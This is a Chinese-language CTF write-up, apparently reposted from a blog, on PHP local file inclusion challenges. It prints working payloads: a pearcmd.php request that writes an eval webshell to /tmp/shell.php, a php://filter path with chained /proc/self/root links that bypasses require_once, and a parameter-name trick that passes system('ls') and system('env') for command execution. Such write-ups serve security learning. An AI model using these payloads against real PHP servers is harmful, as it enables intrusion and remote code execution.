文件包含题(进阶)

2024-04-02 19:20:04
开发
32

[NewStarCTF 2023 公开赛道]Include

直接传参：

?+config-create+/&file=/usr/local/lib/php/pearcmd.php&/<?=eval($_POST[1]);?>+/tmp/shell.php

（成功执行，写入命令到/tmp/shell.php ，访问这个文件进行 RCE）

可以发现访问到了这个文件，然后进行POST传参进行 RCE

列出根目录

得到flag

[Dest0g3 520迎新赛]phpdest

需要绕过 require_once ，用php伪协议配合多级符号链接的办法进行绕过

/proc/self/ 指向当前进程的/proc/pid/

/proc/self/root/ 是指向/的符号链接（指向根目录）

payload:(能多不能少)
?file=php://filter/convert.base64- encode/resource=/proc/self/root/proc/self/root/proc/self/root/proc/sel f/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/pro c/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/roo t/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/var/www/html/flag. php

具体原理看文章：php源码分析 require_once 绕过不能重复包含文件的限制-安全客 - 安全资讯平台

[NSSRound#8 Basic]MyPage

同样可以利用上面两种方法：
用php伪协议配合多级符号链接的办法进行绕过
或者用pearcmd.php 写shell 到文件里

?file=php://filter/convert.base64-encode/resource=/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/cwd/index.php

读取到的源码

直接包含flag.php ,即可拿到flag

第三种方法是利用 PHP Base64 Filter 宽松解析，构造RCE, 看了好久目前还没看懂
https://gist.github.com/loknop/b27422d355ea1fd0d90d6dbc1e278d4d

hxp CTF 2021 - The End Of LFI? - 跳跳糖

[NSSRound#8 Basic]MyDoor

进去什么都没有，但是可以看到url 上有个?file= 可以看出是个get 传参

利用伪代码读取源码，

?file=php://filter/convert.base64-encode/resource=index.php

需要传入 N_S.S
（直接传是传不了的，直接回到了之前的状态）

?N[S.S=system("ls");

一个php的特性：

在php中变量名字是由数字字母和下划线组成的，所以不论用post还是get传入变量名的时候，php会将怪异的变量名转换成有效的，在进行解析时会删除空白符，并将空格、+、点、[ 转换为下划线。但是用一个特性是可以绕过的，就是当 [ 提前出现后，[ 会转换成下划线，而后面的字符就不会再被转义了。

比如要GET传参 N_S.S 要这样传：N[S.S == N_S.S

?N[S.S=system("ls ../");

?N[S.S=system("ls ../../");

?N[S.S=system("ls ../../../");
(一直找到根目录也没能找到flag)

用 cat 命令随便进入到几个文件中没能发现flag ,
在环境变量中，需要用到 system("env");

另外一种使用 PHP Base64 Filter 宽松解析的方法

(网上可以找脚本生成 RCE ，但我是有点懵的，不是很理解，先放在这里，之后再去学习理解一下)

前面的一大串应该是生成一个 <?=`$_GET[0]`;?>
https://www.cnblogs.com/zpchcbd/p/17368982.html

直接传参env 也行
（不是使用system("env"); 应该是前面一串构造的为 <?=`$_GET[0]`;?> ）

原文地址:https://blog.csdn.net/2302_80472909/article/details/137154830 本文来自互联网用户投稿，该文观点仅代表作者本人，不代表本站立场。本站仅提供信息存储空间服务，不拥有所有权，不承担相关法律责任。如若转载，请注明出处：https://www.suanlizi.com/kf/1775121011067457536.html 如若内容造成侵权/违法违规/事实不符，请联系《酸梨子》网邮箱：1419361763@qq.com进行投诉反馈，一经查实，立即删除！

阅读全部